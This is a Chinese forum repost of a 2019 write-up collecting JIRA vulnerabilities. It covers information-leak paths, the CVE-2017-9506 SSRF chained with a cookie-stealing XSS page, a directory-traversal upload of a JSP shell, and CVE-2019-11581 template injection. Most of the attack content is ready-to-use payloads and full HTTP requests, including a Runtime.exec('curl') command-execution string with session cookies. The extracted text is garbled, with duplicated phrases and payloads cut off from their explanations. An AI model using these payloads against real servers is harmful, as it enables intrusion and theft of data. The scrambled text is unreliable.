搜索

[18797] 2019-08-07_JIRA漏洞合集

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2019-08-07_JIRA漏洞合集 J I R A 漏 洞 合 集 c r h u a   h u a s e c   2 0 1 9 - 0 8 - 0 7 好 久 没 更 了 ， 不 能 断 了 ， 最 近 一 直 在 忙 这 个 东 西 。 0 1 — 介 绍 J I R A 是 一 个 b u g 跟 踪 系 统 ， 为 针 对 缺 陷 管 理 、 任 务 追 踪 和 项 目 管 理 的 商 业 性 应 用 软 件 。 通 过 f o f a 搜 索 国 内 占 有 率 还 是 蛮 高 的 ， 企 业 内 部 也 常 常 用 来 做 项 目 管 理 。 0 2 — 漏 洞 利 用 ( 1 ) 错 误 配 置 导 致 信 息 泄 露 错 误 配 置 导 致 信 息 泄 露               J i r a 应 用 中 有 一 些 设 置 ， 如 果 配 置 不 当 ， 可 能 会 泄 露 有 关 应 用 程 序 和 用 户 的 相 关 信 息 ， 并 且 可 以 向 任 何 互 联 网 用 户 ， 开 放 对 公 司 内 部 数 据 的 未 授 权 访 问 权 限 。           在 J i r a 中 ， 在 创 建 过 滤 器 ( f i l t e r s ) 或 显 示 面 板 ( d a s h b o a r d s ) 时 ， 它 提 供 了 一 些 可 见 选 项 来 进 行 设 置 。 问 题 是 ， 由 于 分 配 给 这 些 选 项 的 权 限 存 在 错 误 的 误 解 ， 当 过 滤 器 或 显 示 面 板 分 别 设 置 为 " 所 有 用 户 " ( A l l u s e r s ) 和 " 所 有 人 " ( e v e r y o n e ) 时 ， 这 代 表 的 并 不 是 与 组 织 机 构 内 部 的 每 个 人 共 享 ， 而 是 一 种 互 联 网 全 网 的 公 开 共 享 。 J i r a 中 还 有 一 个 用 户 挑 选 功 能 （ u s e r   p i c k e r   f u n c t i o n a l i t y ） ， 它 提 供 了 针 对 每 个 用 户 的 用 户 名 和 电 子 邮 件 地 址 的 完 整 列 表 信 息 。 所 以 ， 这 两 种 功 能 组 合 的 结 果 ， 就 会 形 成 错 误 的 授 权 配 置 ， 从 而 导 致 组 织 机 构 内 部 的 用 户 信 息 泄 露 。 会 泄 露 的 信 息 包 括 以 下 ： 所 有 注 册 员 工 账 户 的 姓 名 和 邮 箱 地 所 有 注 册 员 工 账 户 的 姓 名 和 邮 箱 地 址 ； 址 ； 注 册 员 工 在 注 册 员 工 在 J i r a 应 用 中 的 角 色 名 称 应 用 中 的 角 色 名 称 p a y l o a d
另 外 也 可 以 访 问 以 下 路 径 获 取 更 多 信 息 ( 2 ) C V E - 2 0 1 7 - 9 5 0 6         J I R A 包 含 的 认 证 授 权 插 件 A t l a s s i a n   O A u t h   p l u g i n 中 存 在 一 个 名 为 I c o n U r i S e r v l e t 的 组 件 ， 它 用 于 接 收 客 户 端 中 附 带 参 数 值 c o n s u m e r U r i 的 G E T 请 求 ， 但 I c o n U r i S e r v l e t   组 件 也 能 用 于 创 建 由 服 务 端 执 行 的 另 外 一 种 H T T P   G E T 请 求 ， 这 种 由 J I R A 作 为 间 接 代 理 发 起 的 请 求 ， 由 服 务 端 响 应 后 再 经 J I R A 返 回 给 客 户 端 ， 该 过 程 中 通 过 构 造 请 求 ， 可 导 致 服 务 端 内 部 信 息 泄 露 在 响 应 内 容 中 返 回 给 客 户 端 。 p a y l o a d : 访 问 上 述 页 面 之 后 ， 如 果 正 常 出 现 百 度 页 面 ， 则 证 明 J I R A 系 统 存 在 该 漏 洞 ； 如 果 访 问 出 现 4 0 4 页 面 ， 则 漏 洞 不 存 在 。 另 外 我 们 也 可 以 创 建 一 个 简 单 的 H T M L 页 面 ， 上 面 包 含 了 X S S 漏 洞 。 我 将 重 定 向 页 面 指 定 到 我 的 X S S 漏 洞 页 面 ， 这 样 我 们 就 能 够 触 发 X S S ， 并 且 获 取 到 j i r a 网 站 的 用 户 c o o k i e ， 而 不 是 百 度 的 c o o k i e / U s e r P i c k e r B r o w s e r . j s p a / M a n a g e F i l t e r s . j s p a / s e c u r e / C o n f i g u r e P o r t a l P a g e s ! d e f a u l t . j s p a / C o n f i g u r e P o r t a l P a g e s ! d e f a u l t . j s p a / s e c u r e / p o p u p s / U s e r P i c k e r B r o w s e r . j s p a / s e c u r e / M a n a g e F i l t e r s . j s p a ? f i l t e r V i e w = p o p u l a r / p l u g i n s / s e r v l e t / o a u t h / u s e r s / i c o n - u r i ? c o n s u m e r U r i = h t t p s : / / w w w . b a i d u . c o m < h t m l > < h e a d > < t i t l e > X S S < / t i t l e > < / h e a d > < b o d y > < s c r i p t > a l e r t ( d o c u m e n t . c o o k i e ) ; < / s c r i p t > < / b o d y > < / h t m l >
( 3 ) 目 录 遍 历 漏 洞 目 录 遍 历 漏 洞 为 了 使 文 件 上 传 到 附 件 目 录 之 外 ， 可 以 用 一 个 经 典 的 目 录 遍 历 模 式 遍 历 到 公 共 w e b 目 录 的 根 目 录 （ / a t l a s s i a n - j i r a / ） 。 在 之 前 示 例 代 码 可 以 看 到 其 并 没 有 对 文 件 内 容 进 行 过 滤 ， 因 此 可 以 上 传 一 个 J S P   s h e l l 来 获 取 系 统 权 限 p a y l o a d : ( 4 ) C V E - 2 0 1 9 - 1 1 5 8 1 前 台 不 需 要 验 证 访 问 如 果 出 现 以 下 界 面 ， 进 一 步 测 试 P O S T / r e s t / c o l l e c t o r s / 1 . 0 / t e m p a t t a c h m e n t / m u l t i p a r t / 2 c 1 c e 5 f a     H T T P / 1 . 1 H o s t : x x x x . c o m C o o k i e : a t l a s s i a n . x s r f . t o k e n = B Q 7 9 - A 8 5 Q - 7 D O M - U M F N | e 9 8 2 3 1 a a a e f 9 8 a 0 d 9 d c 7 c 5 2 e 8 7 f 4 e 8 4 c f 9 c d 3 0 8 5 C o n n e c t i o n : k e e p - a l i v e C o n t e n t - T y p e : m u l t i p a r t / f o r m - d a t a ; b o u n d a r y = - - - - - - - - - - - - - - - - - - - - - - - - - - - 1 6 2 6 6 3 1 5 5 4 2 4 6 8 C o n t e n t - L e n g t h : 3 4 5 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 1 6 2 6 6 3 1 5 5 4 2 4 6 8 C o n t e n t - D i s p o s i t i o n : f o r m - d a t a ;   n a m e = " s c r e e n s h o t " ; f i l e n a m e = " / . . / . . / . . / a t l a s s i a n - j i r a / h e l l o . j s p " C o n t e n t - T y p e : t e x t / p l a i n < h 1 > H e l l o w o r l d ! < / h 1 > - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 1 6 2 6 6 3 1 5 5 4 2 4 6 8 h t t p : / / i p : p o r t / s e c u r e / C o n t a c t A d m i n i s t r a t o r s ! d e f a u l t . j s p a
在 主 题 处 插 入 p a y l o a d : 数 据 包 $ i 1 8 n . g e t C l a s s ( ) . f o r N a m e ( ' j a v a . l a n g . R u n t i m e ' ) . g e t M e t h o d ( ' g e t R u n t i m e ' , n u l l ) . i n v o k e ( n u l l , n u l l ) . e x e c ( ' c u r l   x x x ' ) . w a i t F o r ( ) P O S T   / s e c u r e / C o n t a c t A d m i n i s t r a t o r s . j s p a   H T T P / 1 . 1 H o s t :   X X X X U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 6 8 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 6 8 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   3 5 3 C o n n e c t i o n :   c l o s e C o o k i e :   a t l a s s i a n . x s r f . t o k e n = B G L K - G Y N O - 9 J X A - M T V 0 | 2 7 8 b 7 b 0 a d 6 d f 0 e 1 3 9 8 e 5 b 9 a 0 a f e 5 a 3 6 2 4 a b 2 2 1 8 f | l o u t ;   J S E S S I O N I D = 5 0 A 1 4 9 E 1 A B A 3 B A F A 7 7 4 8 6 4 4 7 3 D 3 B A C 9 E
后 台 需 要 登 录 ， 访 问 数 据 包 参 考 资 料 ： h t t p s : / / b b s . i c h u n q i u . c o m / t h r e a d - 5 3 1 4 4 - 1 - 1 . h t m l h t t p s : / / w w w . f r e e b u f . c o m / v u l s / 1 6 8 7 1 9 . h t m l h t t p s : / / g i t h u b . c o m / j a s 5 0 2 n / C V E - 2 0 1 9 - 1 1 5 8 1 C o o k i e :   a t l a s s i a n . x s r f . t o k e n = B G L K - G Y N O - 9 J X A - M T V 0 | 2 7 8 b 7 b 0 a d 6 d f 0 e 1 3 9 8 e 5 b 9 a 0 a f e 5 a 3 6 2 4 a b 2 2 1 8 f | l o u t ;   J S E S S I O N I D = 5 0 A 1 4 9 E 1 A B A 3 B A F A 7 7 4 8 6 4 4 7 3 D 3 B A C 9 E U p g r a d e - I n s e c u r e - R e q u e s t s :   1 f r o m = t e s t % 4 0 q q . c o m & s u b j e c t = % 2 4 i 1 8 n . g e t C l a s s % 2 8 % 2 9 . f o r N a m e % 2 8 % 2 7 j a v a . l a n g . R u n t i m e % 2 7 % 2 9 . g e t M e t h o d % 2 8 % 2 7 g e t R u n t i m e % 2 7 % 2 C n u l l % 2 9 . i n v o k e % 2 8 n u l l % 2 C n u l l % 2 9 . e x e c % 2 8 % 2 7 c u r l + X X X X % 2 7 % 2 9 . w a i t F o r % 2 8 % 2 9 & d e t a i l s = t e s t & a t l _ t o k e n = B G L K - G Y N O - h t t p : / / i p : p o r t / s e c u r e / a d m i n / S e n d B u l k M a i l ! d e f a u l t . j s p a P O S T   / s e c u r e / a d m i n / S e n d B u l k M a i l . j s p a   H T T P / 1 . 1 H o s t :   X X X X U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 5 5 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 5 5 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , e n - U S ; q = 0 . 5 , e n ; q = 0 . 3 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   4 3 3 C o o k i e :   a t l a s s i a n . x s r f . t o k e n = B 6 M K - H X 7 C - M R 4 3 - 8 6 0 H _ 6 1 4 6 f 3 b e d 0 f 2 0 4 a e 6 1 9 d 5 2 a 0 3 2 3 e c d 4 1 e a 5 e c b 6 b _ l i n ;   J S E S S I O N I D = 3 2 D 0 E 8 6 3 B 3 8 3 B D A A F 8 0 4 9 F A 4 3 3 9 D 5 C 2 6 X - F o r w a r d e d - F o r :   1 2 7 . 0 . 0 . 1 C o n n e c t i o n :   k e e p - a l i v e U p g r a d e - I n s e c u r e - R e q u e s t s :   1 s e n d T o R o l e s = t r u e & p r o j e c t s = 1 0 0 0 0 & r o l e s = 1 0 0 0 2 & r e p l y T o = t e s t % 4 0 q q . c o m & s u b j e c t = % 2 4 i 1 8 n . g e t C l a s s % 2 8 % 2 9 . f o r N a m e % 2 8 % 2 7 j a v a . l a n g . R u n t i m e % 2 7 % 2 9 . g e t M e t h o d % 2 8 % 2 7 g e t R u n t i m e % 2 7 % 2 C n u l l % 2 9 . i n v o k e % 2 8 n u l l % 2 C n u l l % 2 9 . e x e c % 2 8 % 2 7 c u r l + X X X X % 2 7 % 2 9 . w a i t F o r % 2 8 % 2 9 & m e s s a g e =
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理